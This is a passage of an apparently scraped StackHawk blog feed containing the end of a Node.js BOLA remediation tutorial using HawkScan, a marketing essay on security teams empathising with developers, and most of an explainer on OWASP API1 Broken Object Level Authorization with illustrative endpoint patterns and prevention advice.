href=&quot;https://auth.stackhawk.com/login&quot;&gt;log into an existing account.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;If you’re logging into an existing StackHawk account, from the applications page, you’ll click &lt;b&gt;Add an App&lt;/b&gt; -&amp;gt; &lt;b&gt;Create Custom App&lt;/b&gt;&lt;/p&gt;&lt;p&gt;If you’re new to StackHawk, you’ll be automatically brought into the &lt;b&gt;Add an App&lt;/b&gt; flow. On the &lt;b&gt;Scanner&lt;/b&gt; screen, you’ll see the instructions for installing the StackHawk CLI. Since we will be running our testing locally, we will use this option. Once the &lt;b&gt;hawk init&lt;/b&gt; command is executed successfully, click the &lt;b&gt;Next&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;On the next screen, you will fill out an &lt;b&gt;Application Name&lt;/b&gt;, &lt;b&gt;Environment Name&lt;/b&gt;, and &lt;b&gt;Host&lt;/b&gt;. Feel free to copy the default values I’ve added in the screenshot below for our purposes. Once filled out, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Since we will be testing a RESTful API, on the next page, we will choose our &lt;b&gt;Application Type&lt;/b&gt; as “API”, the &lt;b&gt;API Type&lt;/b&gt; as “REST / OpenAPI”, and point to our OpenAPI Specification file by selecting &lt;b&gt;URL Path&lt;/b&gt; and adding in our endpoint, &lt;b&gt;/api-spec/&lt;/b&gt;, into the textbox. Once complete, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Lastly, we will need to add a &lt;b&gt;stackhawk.yml&lt;/b&gt; file to the root of our project. Once the file is added, copy the screen&amp;#39;s contents, paste it into the file, and save it. Lastly, we can click the &lt;b&gt;Finish&lt;/b&gt; button.&lt;/p&gt;&lt;h3&gt;Enabling BOLA Detection in HawkScan&lt;/h3&gt;&lt;p&gt;After creating the app in StackHawk, we need to do a few more steps to enable BOLA (and IDOR) detection in StackHawk. Two ways to do this are using the &amp;quot;OpenAPI - Experimental&amp;quot; policy or customizing an existing policy. The &amp;quot;OpenAPI - Experimental&amp;quot; policy allows users to scan for the vulnerabilities outlined in the OWASP API Security Top 10.&lt;/p&gt;&lt;p&gt;To set HawkScan up with the &amp;quot;OpenAPI - Experimental&amp;quot; policy, you will log into StackHawk, go to the &lt;b&gt;Applications&lt;/b&gt; screen, and click on the &lt;b&gt;settings&lt;/b&gt; link for your application.&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under &lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;OpenAPI - Experimental&amp;quot; policy.&lt;/p&gt;&lt;p&gt;At this point, you can then run HawkScan and begin detecting potential BOLA vulnerabilities. Of course, another way to do this is to simply customize an existing policy to scan for BOLA/IDOR vulnerabilities. To show how this can be done, we can navigate to the same &lt;b&gt;HawkScan Settings&lt;/b&gt; section that we looked at above. From here, we will select the &amp;quot;OpenAPI/REST API&amp;quot; policy from the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown.
&lt;/p&gt;&lt;p&gt;Next, click the &lt;b&gt;Edit Policy&lt;/b&gt; button right beside the dropdown.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;BOLA&lt;/b&gt; entry to enable HawkScan to execute tests for potential BOLA vulnerabilities.&lt;/p&gt;&lt;p&gt;If you also want to enable &lt;b&gt;IDOR&lt;/b&gt; testing, you can click on the &lt;b&gt;Passive Scan Plugins&lt;/b&gt; tab and then select &lt;b&gt;IDOR&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Now, with our Application set up in StackHawk, our &lt;b&gt;stackhawk.xml&lt;/b&gt; added to the root of our API project, and BOLA/IDOR detection enabled, we can finally test our application.&lt;/p&gt;&lt;h3&gt;Run HawkScan&lt;/h3&gt;&lt;p&gt;In order to test our application, in a terminal pointing to the root of our project, we will run HawkScan using the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;hawk scan&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After running the command, the tests should begin to execute in the terminal.&lt;/p&gt;&lt;p&gt;This will run tests against our API based on the OpenAPI spec using the &lt;b&gt;OpenAPI Spider&lt;/b&gt; provided by StackHawk.&lt;/p&gt;&lt;h3&gt;Explore The Initial Findings&lt;/h3&gt;&lt;p&gt;Once the tests are complete, the terminal will contain some information about any vulnerabilities found. Below, we can see that it has identified the BOLA vulnerability that we introduced in the code. To explore this further, we will click on the test link at the bottom of the output. This will take us into the StackHawk platform to explore further.&lt;/p&gt;&lt;p&gt;After clicking on the link, we can now see the test results nicely formatted. Next, we will click on the &lt;b&gt;Possible Broken Object-Level Authorization (BOLA) &lt;/b&gt;entry.&lt;/p&gt;&lt;p&gt;Within this entry, we can see an &lt;b&gt;Overview&lt;/b&gt; and &lt;b&gt;Resources&lt;/b&gt; that can help us with fixing this vulnerability as well as the &lt;b&gt;Request&lt;/b&gt; and &lt;b&gt;Response&lt;/b&gt; that the API returned. Above this, you will also see a &lt;b&gt;Validate&lt;/b&gt; button, which will display a cURL command with the exact API request used to expose the vulnerability.&lt;/p&gt;&lt;h3&gt;Fixing The BOLA Vulnerability&lt;/h3&gt;&lt;p&gt;To fix the BOLA vulnerability in the Node.js API, you must implement authentication and authorization checks. This will ensure that users can only access and modify their own data. For simplicity, I&amp;#39;ll demonstrate a basic version of these checks. In a real-world application, you&amp;#39;d likely use more robust authentication and authorization mechanisms and platforms, such as Auth0 or Okta, to control access and handle credential creation.&lt;/p&gt;&lt;p&gt;
To remedy our BOLA vulnerability, update your &lt;b&gt;app.js&lt;/b&gt; with the following code:
&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The updated code above introduces several significant enhancements and changes compared to the original version, specifically focusing on security through the use of JSON Web Tokens (JWT) for authentication and authorization to eliminate the BOLA vulnerability.&lt;/p&gt;&lt;p&gt;The updated code introduces the &lt;b&gt;jsonwebtoken&lt;/b&gt; package to implement JWT-based authentication and authorization. This is a significant enhancement over the original code, which did not include any form of user authentication or authorization. To use this, you’ll also see the addition of the constant &lt;b&gt;JWT_SECRET&lt;/b&gt; defined, which is used to sign and verify JWTs. This key is essential for the security of the token-based system, ensuring that tokens are valid and issued by the server. &lt;b&gt;Of course, the key is extremely simple since it is just for demonstration purposes. In a production system, you’ll want to have a longer and complex key that is not directly defined in the code!&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The updated code also defines a method called &lt;b&gt;authenticateJWT&lt;/b&gt;, a middleware function that checks for the presence of a JWT in the &lt;b&gt;Authorization&lt;/b&gt; header of incoming requests. It verifies the token using the &lt;b&gt;JWT_SECRET&lt;/b&gt;. If the token is missing or invalid, it sends a 401 or 403 response, effectively securing the endpoint from unauthorized access.&lt;/p&gt;&lt;p&gt;Next, the &lt;b&gt;authorize&lt;/b&gt; middleware function is defined which checks if the authenticated user (decoded from the JWT) is authorized to access the requested user data. The comparison is made using the &lt;b&gt;sub&lt;/b&gt; claim from the JWT against the user ID from the request parameters. The &lt;b&gt;/users/:id&lt;/b&gt; endpoint is now protected by both the &lt;b&gt;authenticateJWT&lt;/b&gt; and &lt;b&gt;authorize&lt;/b&gt; middleware, arranged in an array. This sequential middleware arrangement ensures that every request to this endpoint is first authenticated and then authorized, a common pattern to enforce security on API endpoints.&lt;/p&gt;&lt;p&gt;Once the code has been updated on your side, you can stop the currently running server (by using &lt;b&gt;ctrl + C&lt;/b&gt; in the terminal) and restart it with the new code using:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;node app.js&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The app should now be up and running with the updated code!&lt;/p&gt;&lt;h3&gt;Confirm the fix!&lt;/h3&gt;&lt;p&gt;With the latest code, users must send a JWT along with their request in the &lt;b&gt;Authorization&lt;/b&gt; header. The code will then extract the &lt;b&gt;sub&lt;/b&gt; field to ensure that the &lt;b&gt;sub&lt;/b&gt; value (the user&amp;#39;s ID) matches the ID of the record they are trying to access. In the &lt;a href=&quot;https://jwt.io/&quot;&gt;JWT.io&lt;/a&gt; debugger, this is how such a token would look:
&lt;/p&gt;&lt;p&gt;Now, let’s confirm the fix in StackHawk. To do this, we will click the &lt;b&gt;Rescan Findings&lt;/b&gt; button back in &lt;b&gt;StackHawk&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Then, we will see a modal containing the &lt;b&gt;“hawk rescan” &lt;/b&gt;command that includes the correct&lt;b&gt; Scan ID&lt;/b&gt;. You’ll run this command in the same terminal where you ran the initial set of tests.&lt;/p&gt;&lt;p&gt;In the output, you will again see any vulnerabilities found in the scan. In this case, you’ll see that the BOLA vulnerability is no longer showing. Clicking on the link at the bottom of the terminal output, you can confirm that the BOLA vulnerability has now been added to the &lt;b&gt;Fixed Findings from Previous Scan&lt;/b&gt;, confirming that the vulnerability has been successfully fixed and has passed any vulnerability tests.&lt;/p&gt;&lt;p&gt;With that, we’ve successfully remedied and retested our API to ensure its safety from potential BOLA attacks. Please remember that the code above is for demonstration purposes and that adding robust, production-grade authorization to an API endpoint is much more involved than we implemented above. Using an API gateway and identity provider, such as Auth0, is one of the best ways to prevent BOLA and secure your APIs from unauthorized use.&lt;/p&gt;&lt;h2&gt;Why StackHawk?&lt;/h2&gt;&lt;p&gt;When it comes to preventing vulnerabilities, such as BOLA, StackHawk offers a comprehensive platform for developers to secure their applications and APIs. StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In this blog, we delved into the complexities of Broken Object Level Authorization (BOLA) vulnerabilities. We unpacked the essence of BOLA, revealing how it emerges from insufficient authorization checks, allowing attackers to manipulate or access data beyond their permissions. The discussion illuminated the root causes, from over-reliance on predictable object identifiers to the lack of validation and authorization in API requests. We looked into understanding BOLA&amp;#39;s mechanics and the significance of adopting a defense strategy encompassing strong authorization checks, ABAC, and a zero-trust approach, among other security best practices.&lt;/p&gt;&lt;p&gt;From a practical perspective, we looked at how to identify a BOLA vulnerability within a NodeJS application using StackHawk, a cutting-edge Dynamic Application Security Testing (DAST) tool designed for developers. By integrating security testing directly into the development workflow, StackHawk pinpointed the BOLA vulnerability and provided actionable insights to remediate it effectively. Through a simple example, we showcased the power of adding authentication and authorization middleware to secure API endpoints against unauthorized access, thus mitigating the BOLA threat we introduced in the original code.&lt;/p&gt;&lt;p&gt;Embracing StackHawk in your development cycle equips your team with the necessary tools and insights to tackle security vulnerabilities, including BOLA, preemptively. This approach not only enhances the security posture of your applications but also fosters a culture of security mindfulness among developers. Experience firsthand how StackHawk&amp;#39;s seamless integration and developer-centric solutions can transform your application security testing workflow, ensuring your applications are robust against common API threats outlined in the OWASP API Security Top 10. Sign up for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;free trial &lt;/a&gt;of StackHawk today and join the ranks of proactive developers who are “shifting left” and making API security an integral part of their development process with StackHawk.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Bridging the Gap: The Importance of Understanding How Software is Built]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/bridging-the-gap-the-importance-of-understanding-how-software-is-built</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Alexa Sevilla]]></dc:creator><content:encoded>&lt;p&gt;Software plays an integral role in nearly every aspect of our lives. It is the backbone of modern society, from the apps on our smartphones to the systems that power our workplaces. However, for most people, including those responsible for securing software, the process of how software is built remains shrouded in mystery. In this blog post, we&amp;#39;ll explore the critical importance of understanding how software is built, emphasizing the need for security teams to empathize with developers and why this bridge-building is vital.&lt;/p&gt;&lt;h2&gt;1. The Foundation of Digital Transformation&lt;/h2&gt;&lt;p&gt;Understanding how software is built is essential because it forms the foundation of the ongoing digital transformation. As businesses and organizations strive to become more agile and efficient, they rely on software to streamline processes, enhance customer experiences, and gain a competitive edge. Without a basic grasp of the software development process, stakeholders may struggle to make informed decisions about technology investments, project timelines, and resource allocation.&lt;/p&gt;&lt;h2&gt;2. Effective Collaboration&lt;/h2&gt;&lt;p&gt;Effective collaboration is the lifeblood of successful software development projects. Developers, designers, product managers, and quality assurance professionals must work together seamlessly to create high-quality software. When teams that have been historically outside of this process, such as security, lack an understanding of the development process, miscommunication and misunderstandings can arise. This can lead to delays, cost overruns, and, most importantly, security vulnerabilities going unnoticed.&lt;/p&gt;&lt;h2&gt;3. Bridging the Gap: Empathy for Developers&lt;/h2&gt;&lt;p&gt;One of the keys to fostering effective collaboration between security teams and developers is empathy. Empathy involves understanding and appreciating the challenges and constraints faced by others. In the context of software development, it means security teams must put themselves in developers&amp;#39; shoes.&lt;/p&gt;&lt;p&gt;Developers constantly balance delivering features quickly and ensuring the software&amp;#39;s security. They often work under tight deadlines and are under immense pressure to keep pace with the rapidly evolving technology landscape. Security teams that empathize with these challenges can tailor their security practices and recommendations to be more developer-friendly.&lt;/p&gt;&lt;h2&gt;4. Enhanced Security&lt;/h2&gt;&lt;p&gt;Security is no longer a &amp;quot;nice to have.&amp;quot; Cyberattacks and data breaches are rising, and software vulnerabilities are a common target. When security teams and developers collaborate effectively, security measures become an integral part of the software development process from the start. Developers who understand security concerns can proactively implement best practices, code securely, and identify vulnerabilities early in the development lifecycle. This reduces security risks and lowers the cost of fixing vulnerabilities later in the development process.&lt;/p&gt;&lt;h2&gt;5. Building Trust and Resilience&lt;/h2&gt;&lt;p&gt;Understanding how software is built and fostering empathy between security teams and developers builds trust within an organization. Developers are more likely to accept and embrace security recommendations when they come from colleagues who understand the development process. This trust enables teams to build resilience against security threats, creating a culture where everyone plays a role in securing the organization’s assets. &lt;/p&gt;&lt;h2&gt;6. A Collaborative Future&lt;/h2&gt;&lt;p&gt;The importance of understanding how software is built cannot be overstated. It is critical in digital transformation, effective collaboration, and enhanced security. Security teams must bridge the gap by cultivating empathy for developers, recognizing their challenges, and working together to create a secure and efficient development environment. This collaboration not only strengthens an organization&amp;#39;s security posture but also lays the groundwork for a more collaborative and successful future in the ever-evolving world of software development.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Alexa Sevilla is Director of Product Marketing at StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Contact a StackHawk expert to learn how shifting security left can benefit your business&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Try StackHawk today - free trial&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;Watch a demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding and Protecting Against API1: Broken Object Level Authorization]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-and-protecting-against-api1-broken-object-level-authorization</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Imagine a scenario where a simple change in a URL grants an attacker access to your most sensitive data or even control over physical systems. That&amp;#39;s the potential danger of broken Object-Level Authorization (BOLA), a widespread vulnerability plaguing APIs. BOLA can expose your financial records, medical information, or any data your application handles to malicious actors.&lt;/p&gt;&lt;p&gt;Broken Object Level Authorization occurs when an API fails to implement strict controls around who can access what. It&amp;#39;s like leaving your house unlocked and hoping nobody with bad intentions walks in. In the world of APIs, attackers can manipulate object identifiers (like usernames, order numbers, or document IDs) to gain unauthorized access to resources they shouldn&amp;#39;t have.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll uncover the nature of this vulnerability and explore real-life examples of the damage it can cause. Most importantly, we&amp;#39;ll arm you with the knowledge and strategies you need to safeguard your APIs, keeping your data and systems secure.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Broken Object Level Authorization (BOLA)?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken Object Level Authorization (BOLA), formerly known as Insecure Direct Object Reference (IDOR), consistently ranks as a top API security threat. In essence, it occurs when an API lacks strict checks to ensure a user is only accessing data or resources for which they have legitimate permissions.&lt;/p&gt;&lt;p&gt;Object-level authorization refers to an application&amp;#39;s controls determining which users can perform actions on specific data objects. For instance, a healthcare app should ensure that patients can only view their medical records, not those belonging to others. The term &amp;quot;broken&amp;quot; in BOLA means that these authorization controls are either missing or flawed. This might manifest as an API relying too heavily on easily predictable object identifiers (such as customer IDs) or failing to validate if the user making the request has the proper permissions for the action.&lt;/p&gt;&lt;p&gt;BOLA attacks usually follow a pattern. First, the attacker analyzes API requests and responses, looking for patterns in how objects are referenced (e.g., /users/{userID} or /orders/{orderID}). Then, they experiment by changing the value of those object identifiers in their requests, attempting to access data belonging to other users or resources. If the API doesn&amp;#39;t enforce proper authorization, the attacker could successfully view, edit, or even delete sensitive data. In the most critical cases, they might gain complete control over objects they should not be able to manipulate.&lt;/p&gt;&lt;p&gt;BOLA is widespread and dangerous due to its ease of exploitation (often requiring minimal technical skill on the attacker&amp;#39;s part) and the difficulty in detecting such vulnerabilities with standard security scanners. The impact of a successful BOLA exploit can range from privacy breaches to full-on account compromises, financial fraud, or even the sabotage of systems controlled through the API.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is the difference between BOLA and Insecure Direct Object Reference (IDOR)?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;You may have encountered both &amp;quot;BOLA&amp;quot; and &amp;quot;IDOR&amp;quot; used to describe this type of API vulnerability. While there&amp;#39;s significant overlap, there&amp;#39;s a subtle but essential distinction. Insecure Direct Object Reference (IDOR) is the older term, while Broken Object Level Authorization (BOLA) is the more current name for this widespread security flaw.&lt;/p&gt;&lt;p&gt;IDOR focuses on APIs that expose internal object references or identifiers an attacker can easily manipulate. Think of a URL structure like &lt;b&gt;/api/customers/{customerID} &lt;/b&gt;where an attacker might change the customerID to try accessing other users&amp;#39; data. The shift to the term BOLA emphasizes that the core problem isn&amp;#39;t simply the type of reference used but a deeper issue: broken authorization logic. This could manifest in several ways, including the reliance on predictable object identifiers or failure to rigorously validate that the user making the request has ownership or legitimate permissions to interact with the targeted object.&lt;/p&gt;&lt;p&gt;To sum up, all IDOR vulnerabilities are examples of BOLA. However, not all BOLA vulnerabilities necessarily involve directly exposed and easily manipulated object references. The heart of the matter always lies in a failure to implement object-level authorization checks correctly within the API.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is the root cause of BOLA?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;BOLA vulnerabilities stem from flawed development practices prioritizing ease of implementation over robust authorization controls within API logic. Let&amp;#39;s dissect the primary factors that lead to this issue:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Over-reliance on Object Identifiers&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Directly referencing objects in API endpoints and requests using sequential numerical IDs, predictable strings, or other easily discernible patterns invite exploitation. Consider a URL like /api/documents/{documentID}. An attacker can easily substitute values for {documentid} to access documents they shouldn&amp;#39;t have access to. While convenient for developers, using these references as the sole authorization factor is a significant security pitfall.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of Ownership and Permission Verification&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A fundamental misstep is failing to consistently validate that the user attempting an action has legitimate ownership of the targeted object or the necessary permissions to perform the action. APIs must verify these rights on a per-request basis.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Blind Trust in User Input&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Any data a user provides, including object identifiers, must be treated with suspicion. Thorough input validation and sanitization are essential to prevent attackers from crafting malicious values that could subvert API logic. Failing to do so leaves the system vulnerable to unexpected manipulations that authorization checks might miss.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insufficient Focus on Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In pressured development environments, an API&amp;#39;s core functionality can sometimes overshadow security considerations. This could lead to inconsistent authorization logic, with some endpoints rigorously protected and others left vulnerable. Worse, authorization might be omitted altogether from certain API operations.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Fallacy of Obscurity&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Developers might wrongly believe that using hard-to-guess object identifiers (like long UUIDs) is sufficient protection. However, determined attackers will find ways to discover or predict these references, rendering a false sense of security.&lt;/p&gt;&lt;p&gt;In essence, BOLA boils down to a failure to explicitly and meticulously implement object-level authorization checks within the API. Convenience and assumptions of obscurity should never replace robust authorization mechanisms.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is an Example of BOLA?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s explore more scenarios to illustrate how BOLA can appear in different applications and understand the common pitfalls leading to these vulnerable patterns. Here, we will look at three scenarios covering various ways this vulnerability could manifest.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scenario #1: Leaky Social Media Profiles&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Imagine that a social media platform allows users to update their profile information with an API endpoint like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If the API blindly trusts the provided user ID and doesn&amp;#39;t verify it against the ID of the currently logged-in user, an attacker could modify anyone&amp;#39;s profile. By allowing attackers to access the API without verifying that they only have access to change their specific profile, the social media platform could face reputational damage, spread misinformation, or even facilitate social engineering attacks. To prevent this, the API needs a mechanism to tie the logged-in user&amp;#39;s session to their legitimate ID and ensure that submitted objects belong to them.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scenario #2: Medical Record Tampering&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Next, let&amp;#39;s look at a healthcare system that has an API to retrieve patient records. For example, the API may look like this:&lt;/p&gt;&lt;p&gt;GET /api/patients/{patientID}/records&lt;/p&gt;&lt;p&gt;Confidentiality is compromised if any authenticated user (regardless of role) can retrieve any patient&amp;#39;s records by changing the patient ID. So even though the API checks to see if the user is authenticated, it may not check to see if the user should have access to that patient&amp;#39;s docs. The consequence of this could include a breach of sensitive medical information, and if the endpoint allows for data to be changed (such as a POST, PUT, or PATCH), there is also the potential for incorrect or malicious diagnoses and unauthorized record changes. To prevent this, strict role-based access control must be integrated into the API, ensuring users only access and change the data they legitimately need.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scenario #3: Unintended Invoice Manipulation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, let&amp;#39;s imagine a B2B invoicing system where there is an API to mark invoices as paid:&lt;/p&gt;&lt;p&gt;POST /api/invoices/{invoiceID}/markPaid&lt;/p&gt;&lt;p&gt;Attackers could disrupt cash flows if the API doesn&amp;#39;t check the relationship between the logged-in user&amp;#39;s company and the invoice ID. If invoice numbers are sequential, this could be made even more accessible. The potential consequences of this include having invoices that have already been paid be changed to unpaid invoices, which could harm business relationships. Falsely marking invoices as paid could lead to financial losses and revenue loss. To prevent this, the API must associate invoices with specific companies/accounts and verify that the user making changes is authorized for those entities.&lt;/p&gt;&lt;p&gt;Based on these examples, it&amp;#39;s clear that BOLA is about failing to ask and enforce the question, &amp;quot;Is this user allowed to do this to this specific object?&amp;quot;. Security and preventing BOLA attacks shouldn&amp;#39;t be an afterthought; authentication and authorization should be baked into every API endpoint&amp;#39;s design.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Protect Against BOLA&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Although we&amp;#39;ve briefly covered how to prevent BOLA in the examples above, Let&amp;#39;s dig further into the specifics. At the highest level, API development must adopt a more integrated approach toward authorization to protect against Broken Object Level Authorization (BOLA) threats. This approach ensures that authorization is not merely an auxiliary feature but a foundational aspect of API security. Below, we explore essential strategies that developers and organizations can adopt to fortify their APIs against BOLA vulnerabilities:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rethinking Object Identifiers&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Firstly, it&amp;#39;s crucial not to depend solely on object identifiers like sequential IDs or UUIDs. While these identifiers might seem secure, they can be easily manipulated by attackers skilled in pattern recognition, leading to unauthorized access to sensitive resources. To counter this, implementing a comprehensive session management system is advisable. Such a system, complemented by user roles and permissions, enables fine-grained access control. Additionally, associating object identifiers with authenticated user sessions and their permissions can significantly bolster the legitimacy of access requests.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Strict Authorization Checks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Secondly, enforcing proper access control and strict authorization checks at every API endpoint is non-negotiable. These checks should verify the requestor&amp;#39;s identity and confirm their ownership or permission levels regarding the object or action they are trying to initiate. This dual-layer verification is a barrier against unauthorized users and access and should help prevent BOLA.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Importance of Input Validation and Sanitization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Thirdly, the importance of input validation and sanitization cannot be overstated. Malicious users often craft inputs designed to exploit vulnerabilities in API authorization logic. The risk of injection attacks is heavily reduced by ensuring that object identifiers adhere to expected formats and sanitizing inputs to reject or escape special characters.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Principle of Least Privilege&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As with any system with sensitive data, the principle of least privilege offers another layer of defense. This principle helps to limit user and system component permissions to the bare minimum necessary for their roles or tasks. This approach minimizes the potential impact of a BOLA breach, as compromised accounts are restricted in their actions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Leveraging API Gateways&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lastly, the adoption of API gateways can significantly enhance API security. API gateways facilitate the implementation of sophisticated authorization mechanisms by serving as centralized points for policy enforcement and security controls. This strengthens security and promotes consistency across an organization&amp;#39;s entire API ecosystem.&lt;/p&gt;&lt;p&gt;Overall, protecting against BOLA requires a comprehensive and proactive approach that integrates robust authorization measures into the very fabric of API development. By adopting these strategies, developers, and organizations can significantly mitigate the risk of BOLA vulnerabilities and safeguard their digital assets. To see how to do some of the above in an end-to-end example, check out &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-broken-object-level-authorization-guide-examples-and-prevention/&quot;&gt;our guide on preventing BOLA in Node&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How StackHawk Can Help Detect and Prevent BOLA&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to traditional DAST solutions, BOLA detection was usually not on the menu. Luckily, StackHawk goes beyond traditional DAST solutions by actively testing for BOLA (Broken Object Level Authorization) and IDOR vulnerabilities.&lt;/p&gt;&lt;p&gt;StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle. Next, we will look at exactly how simple it is to configure StackHawk to begin testing your 